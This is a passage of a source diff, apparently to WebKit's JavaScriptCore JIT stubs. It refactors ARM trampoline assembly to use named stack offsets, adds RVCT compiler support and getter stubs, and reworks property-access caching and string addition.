+#elif COMPILER(GCC) && CPU(ARM_TRADITIONAL)
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiOpThrowNotCaught) "\n"
-HIDE_SYMBOL(ctiOpThrowNotCaught) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiOpThrowNotCaught) "\n"
-SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x3c" "\n"
-    "bx lr" "\n"
-);
+#define THUNK_RETURN_ADDRESS_OFFSET 32
+#define PRESERVEDR4_OFFSET          36
 
-#elif COMPILER(GCC) && PLATFORM(ARM_TRADITIONAL)
+#elif COMPILER(RVCT) && CPU(ARM_TRADITIONAL)
 
-asm volatile (
-".text\n"
-".globl " SYMBOL_STRING(ctiTrampoline) "\n"
-HIDE_SYMBOL(ctiTrampoline) "\n"
-SYMBOL_STRING(ctiTrampoline) ":" "\n"
-    "stmdb sp!, {r1-r3}" "\n"
-    "stmdb sp!, {r4-r8, lr}" "\n"
-    "sub sp, sp, #36" "\n"
-    "mov r4, r2" "\n"
-    "mov r5, #512" "\n"
-    "mov lr, pc" "\n"
-    "mov pc, r0" "\n"
-    "add sp, sp, #36" "\n"
-    "ldmia sp!, {r4-r8, lr}" "\n"
-    "add sp, sp, #12" "\n"
-    "mov pc, lr" "\n"
-);
+__asm EncodedJSValue ctiTrampoline(void*, RegisterFile*, CallFrame*, JSValue*, Profiler**, JSGlobalData*)
+{
+    ARM
+    stmdb sp!, {r1-r3}
+    stmdb sp!, {r4-r8, lr}
+    sub sp, sp, #36
+    mov r4, r2
+    mov r5, #512
+    mov lr, pc
+    bx r0
+    add sp, sp, #36
+    ldmia sp!, {r4-r8, lr}
+    add sp, sp, #12
+    bx lr
+}
 
-asm volatile (
-".globl " SYMBOL_STRING(ctiVMThrowTrampoline) "\n"
-HIDE_SYMBOL(ctiVMThrowTrampoline) "\n"
-SYMBOL_STRING(ctiVMThrowTrampoline) ":" "\n"
-    "mov r0, sp" "\n"
-    "bl " SYMBOL_STRING_RELOCATION(cti_vm_throw) "\n"
+__asm void ctiVMThrowTrampoline()
+{
+    ARM
+    PRESERVE8
+    mov r0, sp
+    bl cti_vm_throw
+    add sp, sp, #36
+    ldmia sp!, {r4-r8, lr}
+    add sp, sp, #12
+    bx lr
+}
 
-// Both has the same return sequence
-".globl " SYMBOL_STRING(ctiOpThrowNotCaught) "\n"
-HIDE_SYMBOL(ctiOpThrowNotCaught) "\n"
-SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
-    "add sp, sp, #36" "\n"
-    "ldmia sp!, {r4-r8, lr}" "\n"
-    "add sp, sp, #12" "\n"
-    "mov pc, lr" "\n"
-);
+__asm void ctiOpThrowNotCaught()
+{
+    ARM
+    add sp, sp, #36
+    ldmia sp!, {r4-r8, lr}
+    add sp, sp, #12
+    bx lr
+}
 
-#elif COMPILER(MSVC)
+#elif COMPILER(MSVC) && CPU(X86)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST configuration not supported on MSVC."
@@ -661,10 +582,114 @@ extern "C" {
      }
 }
 
-#endif // COMPILER(GCC) && PLATFORM(X86)
+#else
+    #error "JIT not supported on this platform."
+#endif
 
 #endif // USE(JSVALUE32_64)
 
+#if COMPILER(GCC) && CPU(ARM_THUMB2)
+
+asm volatile(
+".text" "\n"
+".align 2" "\n"
+".globl " SYMBOL_STRING(ctiTrampoline) "\n"
+HIDE_SYMBOL(ctiTrampoline) "\n"
+".thumb" "\n"
+".thumb_func " THUMB_FUNC_PARAM(ctiTrampoline) "\n"
+SYMBOL_STRING(ctiTrampoline) ":" "\n"
+    "sub sp, sp, #" STRINGIZE_VALUE_OF(ENABLE_PROFILER_REFERENCE_OFFSET) "\n"
+    "str lr, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_RETURN_ADDRESS_OFFSET) "]" "\n"
+    "str r4, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R4_OFFSET) "]" "\n"
+    "str r5, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R5_OFFSET) "]" "\n"
+    "str r6, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R6_OFFSET) "]" "\n"
+    "str r1, [sp, #" STRINGIZE_VALUE_OF(REGISTER_FILE_OFFSET) "]" "\n"
+    "str r2, [sp, #" STRINGIZE_VALUE_OF(CALLFRAME_OFFSET) "]" "\n"
+    "str r3, [sp, #" STRINGIZE_VALUE_OF(EXCEPTION_OFFSET) "]" "\n"
+    "cpy r5, r2" "\n"
+    "mov r6, #512" "\n"
+    "blx r0" "\n"
+    "ldr r6, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R6_OFFSET) "]" "\n"
+    "ldr r5, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R5_OFFSET) "]" "\n"
+    "ldr r4, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R4_OFFSET) "]" "\n"
+    "ldr lr, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_RETURN_ADDRESS_OFFSET) "]" "\n"
+    "add sp, sp, #" STRINGIZE_VALUE_OF(ENABLE_PROFILER_REFERENCE_OFFSET) "\n"
+    "bx lr" "\n"
+);
+
+asm volatile(
+".text" "\n"
+".align 2" "\n"
+".globl " SYMBOL_STRING(ctiVMThrowTrampoline) "\n"
+HIDE_SYMBOL(ctiVMThrowTrampoline) "\n"
+".thumb" "\n"
+".thumb_func " THUMB_FUNC_PARAM(ctiVMThrowTrampoline) "\n"
+SYMBOL_STRING(ctiVMThrowTrampoline) ":" "\n"
+    "cpy r0, sp" "\n"
+    "bl " SYMBOL_STRING_RELOCATION(cti_vm_throw) "\n"
+    "ldr r6, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R6_OFFSET) "]" "\n"
+    "ldr r5, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R5_OFFSET) "]" "\n"
+    "ldr r4, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R4_OFFSET) "]" "\n"
+    "ldr lr, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_RETURN_ADDRESS_OFFSET) "]" "\n"
+    "add sp, sp, #" STRINGIZE_VALUE_OF(ENABLE_PROFILER_REFERENCE_OFFSET) "\n"
+    "bx lr" "\n"
+);
+
+asm volatile(
+".text" "\n"
+".align 2" "\n"
+".globl " SYMBOL_STRING(ctiOpThrowNotCaught) "\n"
+HIDE_SYMBOL(ctiOpThrowNotCaught) "\n"
+".thumb" "\n"
+".thumb_func " THUMB_FUNC_PARAM(ctiOpThrowNotCaught) "\n"
+SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
+    "ldr r6, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R6_OFFSET) "]" "\n"
+    "ldr r5, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R5_OFFSET) "]" "\n"
+    "ldr r4, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_R4_OFFSET) "]" "\n"
+    "ldr lr, [sp, #" STRINGIZE_VALUE_OF(PRESERVED_RETURN_ADDRESS_OFFSET) "]" "\n"
+    "add sp, sp, #" STRINGIZE_VALUE_OF(ENABLE_PROFILER_REFERENCE_OFFSET) "\n"
+    "bx lr" "\n"
+);
+
+#elif COMPILER(GCC) && CPU(ARM_TRADITIONAL)
+
+asm volatile(
+".globl " SYMBOL_STRING(ctiTrampoline) "\n"
+HIDE_SYMBOL(ctiTrampoline) "\n"
+SYMBOL_STRING(ctiTrampoline) ":" "\n"
+    "stmdb sp!, {r1-r3}" "\n"
+    "stmdb sp!, {r4-r8, lr}" "\n"
+    "sub sp, sp, #" STRINGIZE_VALUE_OF(PRESERVEDR4_OFFSET) "\n"
+    "mov r4, r2" "\n"
+    "mov r5, #512" "\n"
+    // r0 contains the code
+    "mov lr, pc" "\n"
+    "mov pc, r0" "\n"
+    "add sp, sp, #" STRINGIZE_VALUE_OF(PRESERVEDR4_OFFSET) "\n"
+    "ldmia sp!, {r4-r8, lr}" "\n"
+    "add sp, sp, #12" "\n"
+    "mov pc, lr" "\n"
+);
+
+asm volatile(
+".globl " SYMBOL_STRING(ctiVMThrowTrampoline) "\n"
+HIDE_SYMBOL(ctiVMThrowTrampoline) "\n"
+SYMBOL_STRING(ctiVMThrowTrampoline) ":" "\n"
+    "mov r0, sp" "\n"
+    "bl " SYMBOL_STRING(cti_vm_throw) "\n"
+
+// Both has the same return sequence
+".globl " SYMBOL_STRING(ctiOpThrowNotCaught) "\n"
+HIDE_SYMBOL(ctiOpThrowNotCaught) "\n"
+SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
+    "add sp, sp, #" STRINGIZE_VALUE_OF(PRESERVEDR4_OFFSET) "\n"
+    "ldmia sp!, {r4-r8, lr}" "\n"
+    "add sp, sp, #12" "\n"
+    "mov pc, lr" "\n"
+);
+
+#endif
+
 #if ENABLE(OPCODE_SAMPLING)
     #define CTI_SAMPLER stackFrame.globalData->interpreter->sampler()
 #else
@@ -673,24 +698,30 @@ extern "C" {
 
 JITThunks::JITThunks(JSGlobalData* globalData)
 {
-    JIT::compileCTIMachineTrampolines(globalData, &m_executablePool, &m_ctiStringLengthTrampoline, &m_ctiVirtualCallLink, &m_ctiVirtualCall, &m_ctiNativeCallThunk);
+    JIT::compileCTIMachineTrampolines(globalData, &m_executablePool, &m_trampolineStructure);
 
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
     // Unfortunate the arm compiler does not like the use of offsetof on JITStackFrame (since it contains non POD types),
     // and the OBJECT_OFFSETOF macro does not appear constantish enough for it to be happy with its use in COMPILE_ASSERT
     // macros.
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedReturnAddress) == 0x20);
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR4) == 0x24);
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR5) == 0x28);
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR6) == 0x2c);
-
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, registerFile) == 0x30);
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, callFrame) == 0x34);
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, exception) == 0x38);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedReturnAddress) == PRESERVED_RETURN_ADDRESS_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR4) == PRESERVED_R4_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR5) == PRESERVED_R5_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR6) == PRESERVED_R6_OFFSET);
+
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, registerFile) == REGISTER_FILE_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, callFrame) == CALLFRAME_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, exception) == EXCEPTION_OFFSET);
     // The fifth argument is the first item already on the stack.
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, enabledProfilerReference) == 0x40);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, enabledProfilerReference) == ENABLE_PROFILER_REFERENCE_OFFSET);
+
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, thunkReturnAddress) == THUNK_RETURN_ADDRESS_OFFSET);
+
+#elif CPU(ARM_TRADITIONAL)
+
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, thunkReturnAddress) == THUNK_RETURN_ADDRESS_OFFSET);
+    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, preservedR4) == PRESERVEDR4_OFFSET);
 
-    ASSERT(OBJECT_OFFSETOF(struct JITStackFrame, thunkReturnAddress) == 0x1C);
 #endif
 }
 
@@ -790,8 +821,10 @@ NEVER_INLINE void JITThunks::tryCacheGetByID(CallFrame* callFrame, CodeBlock* co
     if (slot.slotBase() == baseValue) {
         // set this up, so derefStructures can do it's job.
         stubInfo->initGetByIdSelf(structure);
-
-        JIT::patchGetByIdSelf(codeBlock, stubInfo, structure, slot.cachedOffset(), returnAddress);
+        if (slot.cachedPropertyType() != PropertySlot::Value)
+            ctiPatchCallByReturnAddress(codeBlock, returnAddress, FunctionPtr(cti_op_get_by_id_self_fail));
+        else
+            JIT::patchGetByIdSelf(codeBlock, stubInfo, structure, slot.cachedOffset(), returnAddress);
         return;
     }
 
@@ -804,19 +837,25 @@ NEVER_INLINE void JITThunks::tryCacheGetByID(CallFrame* callFrame, CodeBlock* co
         ASSERT(slot.slotBase().isObject());
 
         JSObject* slotBaseObject = asObject(slot.slotBase());
-
+        size_t offset = slot.cachedOffset();
+        
         // Since we're accessing a prototype in a loop, it's a good bet that it
         // should not be treated as a dictionary.
-        if (slotBaseObject->structure()->isDictionary())
-            slotBaseObject->setStructure(Structure::fromDictionaryTransition(slotBaseObject->structure()));
+        if (slotBaseObject->structure()->isDictionary()) {
+            slotBaseObject->flattenDictionaryObject();
+            offset = slotBaseObject->structure()->get(propertyName);
+        }
         
         stubInfo->initGetByIdProto(structure, slotBaseObject->structure());
 
-        JIT::compileGetByIdProto(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, structure, slotBaseObject->structure(), slot.cachedOffset(), returnAddress);
+        ASSERT(!structure->isDictionary());
+        ASSERT(!slotBaseObject->structure()->isDictionary());
+        JIT::compileGetByIdProto(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, structure, slotBaseObject->structure(), propertyName, slot, offset, returnAddress);
         return;
     }
 
-    size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase());
+    size_t offset = slot.cachedOffset();
+    size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase(), propertyName, offset);
     if (!count) {
         stubInfo->accessType = access_get_by_id_generic;
         return;
@@ -824,7 +863,7 @@ NEVER_INLINE void JITThunks::tryCacheGetByID(CallFrame* callFrame, CodeBlock* co
 
     StructureChain* prototypeChain = structure->prototypeChain(callFrame);
     stubInfo->initGetByIdChain(structure, prototypeChain);
-    JIT::compileGetByIdChain(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, structure, prototypeChain, count, slot.cachedOffset(), returnAddress);
+    JIT::compileGetByIdChain(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, structure, prototypeChain, count, propertyName, slot, offset, returnAddress);
 }
 
 #endif // ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
@@ -920,7 +959,7 @@ static NEVER_INLINE void throwStackOverflowError(CallFrame* callFrame, JSGlobalD
         } \
     } while (0)
 
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
 
 #define DEFINE_STUB_FUNCTION(rtype, op) \
     extern "C" { \
@@ -934,14 +973,14 @@ static NEVER_INLINE void throwStackOverflowError(CallFrame* callFrame, JSGlobalD
         ".thumb" "\n" \
         ".thumb_func " THUMB_FUNC_PARAM(cti_##op) "\n" \
         SYMBOL_STRING(cti_##op) ":" "\n" \
-        "str lr, [sp, #0x1c]" "\n" \
+        "str lr, [sp, #" STRINGIZE_VALUE_OF(THUNK_RETURN_ADDRESS_OFFSET) "]" "\n" \
         "bl " SYMBOL_STRING(JITStubThunked_##op) "\n" \
-        "ldr lr, [sp, #0x1c]" "\n" \
+        "ldr lr, [sp, #" STRINGIZE_VALUE_OF(THUNK_RETURN_ADDRESS_OFFSET) "]" "\n" \
         "bx lr" "\n" \
         ); \
     rtype JITStubThunked_##op(STUB_ARGS_DECLARATION) \
 
-#elif PLATFORM(ARM_TRADITIONAL) && COMPILER(GCC)
+#elif CPU(ARM_TRADITIONAL) && COMPILER(GCC)
 
 #define DEFINE_STUB_FUNCTION(rtype, op) \
     extern "C" { \
@@ -950,13 +989,39 @@ static NEVER_INLINE void throwStackOverflowError(CallFrame* callFrame, JSGlobalD
     asm volatile ( \
         ".globl " SYMBOL_STRING(cti_##op) "\n" \
         SYMBOL_STRING(cti_##op) ":" "\n" \
-        "str lr, [sp, #32]" "\n" \
+        "str lr, [sp, #" STRINGIZE_VALUE_OF(THUNK_RETURN_ADDRESS_OFFSET) "]" "\n" \
         "bl " SYMBOL_STRING(JITStubThunked_##op) "\n" \
-        "ldr lr, [sp, #32]" "\n" \
+        "ldr lr, [sp, #" STRINGIZE_VALUE_OF(THUNK_RETURN_ADDRESS_OFFSET) "]" "\n" \
         "mov pc, lr" "\n" \
         ); \
     rtype JITStubThunked_##op(STUB_ARGS_DECLARATION)
 
+#elif CPU(ARM_TRADITIONAL) && COMPILER(RVCT)
+
+#define DEFINE_STUB_FUNCTION(rtype, op) rtype JITStubThunked_##op(STUB_ARGS_DECLARATION)
+
+/* The following is a workaround for RVCT toolchain; precompiler macros are not expanded before the code is passed to the assembler */
+
+/* The following section is a template to generate code for GeneratedJITStubs_RVCT.h */
+/* The pattern "#xxx#" will be replaced with "xxx" */
+
+/*
+RVCT(extern "C" #rtype# JITStubThunked_#op#(STUB_ARGS_DECLARATION);)
+RVCT(__asm #rtype# cti_#op#(STUB_ARGS_DECLARATION))
+RVCT({)
+RVCT(    ARM)
+RVCT(    IMPORT JITStubThunked_#op#)
+RVCT(    str lr, [sp, ##offset#])
+RVCT(    bl JITStubThunked_#op#)
+RVCT(    ldr lr, [sp, ##offset#])
+RVCT(    bx lr)
+RVCT(})
+RVCT()
+*/
+
+/* Include the generated file */
+#include "GeneratedJITStubs_RVCT.h"
+
 #else
 #define DEFINE_STUB_FUNCTION(rtype, op) rtype JIT_STUB cti_##op(STUB_ARGS_DECLARATION)
 #endif
@@ -988,38 +1053,19 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_add)
 
     JSValue v1 = stackFrame.args[0].jsValue();
     JSValue v2 = stackFrame.args[1].jsValue();
-
-    double left;
-    double right = 0.0;
-
-    bool rightIsNumber = v2.getNumber(right);
-    if (rightIsNumber && v1.getNumber(left))
-        return JSValue::encode(jsNumber(stackFrame.globalData, left + right));
-    
     CallFrame* callFrame = stackFrame.callFrame;
 
-    bool leftIsString = v1.isString();
-    if (leftIsString && v2.isString()) {
-        RefPtr<UString::Rep> value = concatenate(asString(v1)->value().rep(), asString(v2)->value().rep());
-        if (UNLIKELY(!value)) {
-            throwOutOfMemoryError(callFrame);
-            VM_THROW_EXCEPTION();
-        }
-
-        return JSValue::encode(jsString(stackFrame.globalData, value.release()));
+    if (v1.isString()) {
+        JSValue result = v2.isString()
+            ? jsString(callFrame, asString(v1), asString(v2))
+            : jsString(callFrame, asString(v1), v2.toPrimitiveString(callFrame));
+        CHECK_FOR_EXCEPTION_AT_END();
+        return JSValue::encode(result);
     }
 
-    if (rightIsNumber & leftIsString) {
-        RefPtr<UString::Rep> value = v2.isInt32() ?
-            concatenate(asString(v1)->value().rep(), v2.asInt32()) :
-            concatenate(asString(v1)->value().rep(), right);
-
-        if (UNLIKELY(!value)) {
-            throwOutOfMemoryError(callFrame);
-            VM_THROW_EXCEPTION();
-        }
-        return JSValue::encode(jsString(stackFrame.globalData, value.release()));
-    }
+    double left = 0.0, right;
+    if (v1.getNumber(left) && v2.getNumber(right))
+        return JSValue::encode(jsNumber(stackFrame.globalData, left + right));
 
     // All other cases are pretty uncommon
     JSValue result = jsAddSlowCase(callFrame, v1, v2);
@@ -1068,19 +1114,6 @@ DEFINE_STUB_FUNCTION(void, register_file_check)
     throwStackOverflowError(oldCallFrame, stackFrame.globalData, ReturnAddressPtr(oldCallFrame->returnPC()), STUB_RETURN_ADDRESS);
 }
 
-DEFINE_STUB_FUNCTION(int, op_loop_if_less)
-{
-    STUB_INIT_STACK_FRAME(stackFrame);
-
-    JSValue src1 = stackFrame.args[0].jsValue();
-    JSValue src2 = stackFrame.args[1].jsValue();
-    CallFrame* callFrame = stackFrame.callFrame;
-
-    bool result = jsLess(callFrame, src1, src2);
-    CHECK_FOR_EXCEPTION_AT_END();
-    return result;
-}
-
 DEFINE_STUB_FUNCTION(int, op_loop_if_lesseq)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
@@ -1197,7 +1230,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_method_check)
     // If we successfully got something, then the base from which it is being accessed must
     // be an object.  (Assertion to ensure asObject() call below is safe, which comes after
     // an isCacheable() chceck.
-    ASSERT(!slot.isCacheable() || slot.slotBase().isObject());
+    ASSERT(!slot.isCacheableValue() || slot.slotBase().isObject());
 
     // Check that:
     //   * We're dealing with a JSCell,
@@ -1208,7 +1241,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_method_check)
     JSCell* specific;
     JSObject* slotBaseObject;
     if (baseValue.isCell()
-        && slot.isCacheable()
+        && slot.isCacheableValue()
         && !(structure = asCell(baseValue)->structure())->isUncacheableDictionary()
         && (slotBaseObject = asObject(slot.slotBase()))->getPropertySpecificValue(callFrame, ident, specific)
         && specific
@@ -1219,7 +1252,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_method_check)
         // Since we're accessing a prototype in a loop, it's a good bet that it
         // should not be treated as a dictionary.
         if (slotBaseObject->structure()->isDictionary())
-            slotBaseObject->setStructure(Structure::fromDictionaryTransition(slotBaseObject->structure()));
+            slotBaseObject->flattenDictionaryObject();
 
         // The result fetched should always be the callee!
         ASSERT(result == JSValue(callee));
@@ -1304,7 +1337,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_self_fail)
             stubInfo->u.getByIdSelfList.listSize++;
         }
 
-        JIT::compileGetByIdSelfList(callFrame->scopeChain()->globalData, codeBlock, stubInfo, polymorphicStructureList, listIndex, asCell(baseValue)->structure(), slot.cachedOffset());
+        JIT::compileGetByIdSelfList(callFrame->scopeChain()->globalData, codeBlock, stubInfo, polymorphicStructureList, listIndex, asCell(baseValue)->structure(), ident, slot, slot.cachedOffset());
 
         if (listIndex == (POLYMORPHIC_LIST_CACHE_SIZE - 1))
             ctiPatchCallByReturnAddress(codeBlock, STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_id_generic));
@@ -1342,19 +1375,51 @@ static PolymorphicAccessStructureList* getPolymorphicAccessStructureListSlot(Str
     return prototypeStructureList;
 }
 
+DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_getter_stub)
+{
+    STUB_INIT_STACK_FRAME(stackFrame);
+    CallFrame* callFrame = stackFrame.callFrame;
+    GetterSetter* getterSetter = asGetterSetter(stackFrame.args[0].jsObject());
+    if (!getterSetter->getter())
+        return JSValue::encode(jsUndefined());
+    JSObject* getter = asObject(getterSetter->getter());
+    CallData callData;
+    CallType callType = getter->getCallData(callData);
+    JSValue result = call(callFrame, getter, callType, callData, stackFrame.args[1].jsObject(), ArgList());
+    if (callFrame->hadException())
+        returnToThrowTrampoline(&callFrame->globalData(), stackFrame.args[2].returnAddress(), STUB_RETURN_ADDRESS);
+
+    return JSValue::encode(result);
+}
+
+DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_custom_stub)
+{
+    STUB_INIT_STACK_FRAME(stackFrame);
+    CallFrame* callFrame = stackFrame.callFrame;
+    JSObject* slotBase = stackFrame.args[0].jsObject();
+    PropertySlot::GetValueFunc getter = reinterpret_cast<PropertySlot::GetValueFunc>(stackFrame.args[1].asPointer);
+    const Identifier& ident = stackFrame.args[2].identifier();
+    JSValue result = getter(callFrame, slotBase, ident);
+    if (callFrame->hadException())
+        returnToThrowTrampoline(&callFrame->globalData(), stackFrame.args[3].returnAddress(), STUB_RETURN_ADDRESS);
+    
+    return JSValue::encode(result);
+}
+
 DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_proto_list)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
 
     CallFrame* callFrame = stackFrame.callFrame;
+    const Identifier& propertyName = stackFrame.args[1].identifier();
 
     JSValue baseValue = stackFrame.args[0].jsValue();
     PropertySlot slot(baseValue);
-    JSValue result = baseValue.get(callFrame, stackFrame.args[1].identifier(), slot);
+    JSValue result = baseValue.get(callFrame, propertyName, slot);
 
     CHECK_FOR_EXCEPTION();
 
-    if (!baseValue.isCell() || !slot.isCacheable() || asCell(baseValue)->structure()->isUncacheableDictionary()) {
+    if (!baseValue.isCell() || !slot.isCacheable() || asCell(baseValue)->structure()->isDictionary()) {
         ctiPatchCallByReturnAddress(callFrame->codeBlock(), STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_id_proto_fail));
         return JSValue::encode(result);
     }
@@ -1365,28 +1430,34 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_id_proto_list)
 
     ASSERT(slot.slotBase().isObject());
     JSObject* slotBaseObject = asObject(slot.slotBase());
+    
+    size_t offset = slot.cachedOffset();
 
     if (slot.slotBase() == baseValue)
         ctiPatchCallByReturnAddress(codeBlock, STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_id_proto_fail));
     else if (slot.slotBase() == asCell(baseValue)->structure()->prototypeForLookup(callFrame)) {
+        ASSERT(!asCell(baseValue)->structure()->isDictionary());
         // Since we're accessing a prototype in a loop, it's a good bet that it
         // should not be treated as a dictionary.
-        if (slotBaseObject->structure()->isDictionary())
-            slotBaseObject->setStructure(Structure::fromDictionaryTransition(slotBaseObject->structure()));
+        if (slotBaseObject->structure()->isDictionary()) {
+            slotBaseObject->flattenDictionaryObject();
+            offset = slotBaseObject->structure()->get(propertyName);
+        }
 
         int listIndex;
         PolymorphicAccessStructureList* prototypeStructureList = getPolymorphicAccessStructureListSlot(stubInfo, listIndex);
 
-        JIT::compileGetByIdProtoList(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, prototypeStructureList, listIndex, structure, slotBaseObject->structure(), slot.cachedOffset());
+        JIT::compileGetByIdProtoList(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, prototypeStructureList, listIndex, structure, slotBaseObject->structure(), propertyName, slot, offset);
 
         if (listIndex == (POLYMORPHIC_LIST_CACHE_SIZE - 1))
             ctiPatchCallByReturnAddress(codeBlock, STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_id_proto_list_full));
-    } else if (size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase())) {
+    } else if (size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase(), propertyName, offset)) {
+        ASSERT(!asCell(baseValue)->structure()->isDictionary());
         int listIndex;
         PolymorphicAccessStructureList* prototypeStructureList = getPolymorphicAccessStructureListSlot(stubInfo, listIndex);
 
         StructureChain* protoChain = structure->prototypeChain(callFrame);
-        JIT::compileGetByIdChainList(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, prototypeStructureList, listIndex, structure, protoChain, count, slot.cachedOffset());
+        JIT::compileGetByIdChainList(callFrame->scopeChain()->globalData, callFrame, codeBlock, stubInfo, prototypeStructureList, listIndex, structure, protoChain, count, propertyName, slot, offset);
 
         if (listIndex == (POLYMORPHIC_LIST_CACHE_SIZE - 1))
             ctiPatchCallByReturnAddress(codeBlock, STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_id_proto_list_full));
@@ -1531,7 +1602,7 @@ DEFINE_STUB_FUNCTION(void*, op_call_JSFunction)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
 
-#ifndef NDEBUG
+#if !ASSERT_DISABLED
     CallData callData;
     ASSERT(stackFrame.args[0].jsValue().getCallData(callData) == CallTypeJS);
 #endif
@@ -1780,7 +1851,7 @@ DEFINE_STUB_FUNCTION(JSObject*, op_construct_JSConstruct)
         VM_THROW_EXCEPTION();
     }
 
-#ifndef NDEBUG
+#if !ASSERT_DISABLED
     ConstructData constructData;
     ASSERT(constructor->getConstructData(constructData) == ConstructTypeJS);
 #endif
@@ -1850,7 +1921,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_val)
         } else if (isJSString(globalData, baseValue) && asString(baseValue)->canGetIndex(i)) {
             // All fast byte array accesses are safe from exceptions so return immediately to avoid exception checks.
             ctiPatchCallByReturnAddress(callFrame->codeBlock(), STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_val_string));
-            result = asString(baseValue)->getIndex(stackFrame.globalData, i);
+            result = asString(baseValue)->getIndex(callFrame, i);
         } else if (isJSByteArray(globalData, baseValue) && asByteArray(baseValue)->canAccessIndex(i)) {
             // All fast byte array accesses are safe from exceptions so return immediately to avoid exception checks.
             ctiPatchCallByReturnAddress(callFrame->codeBlock(), STUB_RETURN_ADDRESS, FunctionPtr(cti_op_get_by_val_byte_array));
@@ -1881,7 +1952,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_get_by_val_string)
     if (LIKELY(subscript.isUInt32())) {
         uint32_t i = subscript.asUInt32();
         if (isJSString(globalData, baseValue) && asString(baseValue)->canGetIndex(i))
-            result = asString(baseValue)->getIndex(stackFrame.globalData, i);
+            result = asString(baseValue)->getIndex(callFrame, i);
         else {
             result = baseValue.get(callFrame, i);
             if (!isJSString(globalData, baseValue))
@@ -2046,19 +2117,6 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_lesseq)
     return JSValue::encode(result);
 }
 
-DEFINE_STUB_FUNCTION(int, op_loop_if_true)
-{
-    STUB_INIT_STACK_FRAME(stackFrame);
-
-    JSValue src1 = stackFrame.args[0].jsValue();
-
-    CallFrame* callFrame = stackFrame.callFrame;
-
-    bool result = src1.toBoolean(callFrame);
